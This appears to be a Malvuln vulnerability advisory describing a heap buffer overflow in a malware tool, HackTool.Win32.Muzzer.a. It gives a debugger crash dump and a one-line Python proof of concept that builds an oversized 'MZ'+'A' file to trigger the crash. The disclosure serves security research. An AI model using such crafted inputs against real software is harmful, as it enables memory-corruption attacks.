HackTool.Win32.Muzzer.a Buffer Overflow

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/c9291c93fce757a665352567ca13ec3f.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: HackTool.Win32.Muzzer.a  
Vulnerability: Heap Based Buffer Overflow   
Description: Processing a specially crafted ".exe", ".txt" file triggers a heap based buffer overflow. This results in overwriting ECX, EDX and AX (lower 16-bits) of the EAX register and corrupts memory located on the heap.  
Type: PE32  
MD5: c9291c93fce757a665352567ca13ec3f   
Vuln ID: MVID-2022-0475  
Dropped files:   
ASLR: False  
DEP: False  
Safe SEH: False  
Disclosure: 01/29/2022  
  
Memory Dump:  
(1f94.1548): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=00000003 edi=00000003  
eip=773ced3c esp=000df394 ebp=000df524 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
ntdll!ZwWaitForMultipleObjects+0xc:  
773ced3c c21400 ret 14h  
  
0:000> .ecxr  
eax=00004141 ebx=02433080 ecx=41414141 edx=41414141 esi=02433088 edi=001e0000  
eip=773a2d6a esp=000dfcd0 ebp=000dfe90 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
ntdll!RtlpAllocateHeap+0x37a:  
773a2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f  
*** ERROR: Module load completed but symbols could not be loaded for HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f  
  
FAULTING_IP:   
ntdll!RtlpAllocateHeap+37a  
773a2d6a 8b09 mov ecx,dword ptr [ecx]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 773a2d6a (ntdll!RtlpAllocateHeap+0x0000037a)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414141  
Attempt to read from address 41414141  
  
PROCESS_NAME: HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 41414141  
  
READ_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
HackTool_Win32_Muzzer_a+1197  
00401197 8bf8 mov edi,eax  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 00001548  
  
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 773a16b7 to 773a2d6a  
  
STACK_TEXT:   
000dfe90 773a16b7 00010000 00010008 00000000 ntdll!RtlpAllocateHeap+0x37a  
000dfee0 773a13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7  
000dfefc 76750cd4 001e0000 00100008 00010000 ntdll!RtlAllocateHeap+0x3e  
000dff4c 00401197 00000040 00010000 02423080 KERNELBASE!GlobalAlloc+0x64  
WARNING: Stack unwind information not available. Following frames may be wrong.  
000dff78 0040113d 00401022 76e38654 00344000 HackTool_Win32_Muzzer_a+0x1197  
000dff7c 00401022 76e38654 00344000 76e38630 HackTool_Win32_Muzzer_a+0x113d  
0040113d e3830040 cbbc0fef 2bcbb30f c8ab0fc0 HackTool_Win32_Muzzer_a+0x1022  
00401141 cbbc0fef 2bcbb30f c8ab0fc0 00001ee8 0xe3830040  
00401145 2bcbb30f c8ab0fc0 00001ee8 74db8500 0xcbbc0fef  
00401149 c8ab0fc0 00001ee8 74db8500 55eaeb02 0x2bcbb30f  
0040114d 00000000 74db8500 55eaeb02 000927e8 0xc8ab0fc0  
  
  
STACK_COMMAND: !heap ; ~0s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 4  
  
SYMBOL_NAME: HackTool_Win32_Muzzer_a+1197  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: HackTool_Win32_Muzzer_a  
  
IMAGE_NAME: HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
  
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141_c0000005_HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_HackTool_Win32_Muzzer_a+1197  
  
  
  
Exploit/PoC:  
python -c "print('MZ'+'A'*10000)" > HATE.exe  
  
C:\dump>HackTool.Win32.Muzzer.a.exe HATE.exe  
Muazzin tester - (c) Vecna 2000  
■ Loading muazzin... Sucess.  
■ Muazzin size: 72004  
■ Memory alloc... Sucess.  
■ Reading code... Sucess.  
■ File format: Binary.  
  
  
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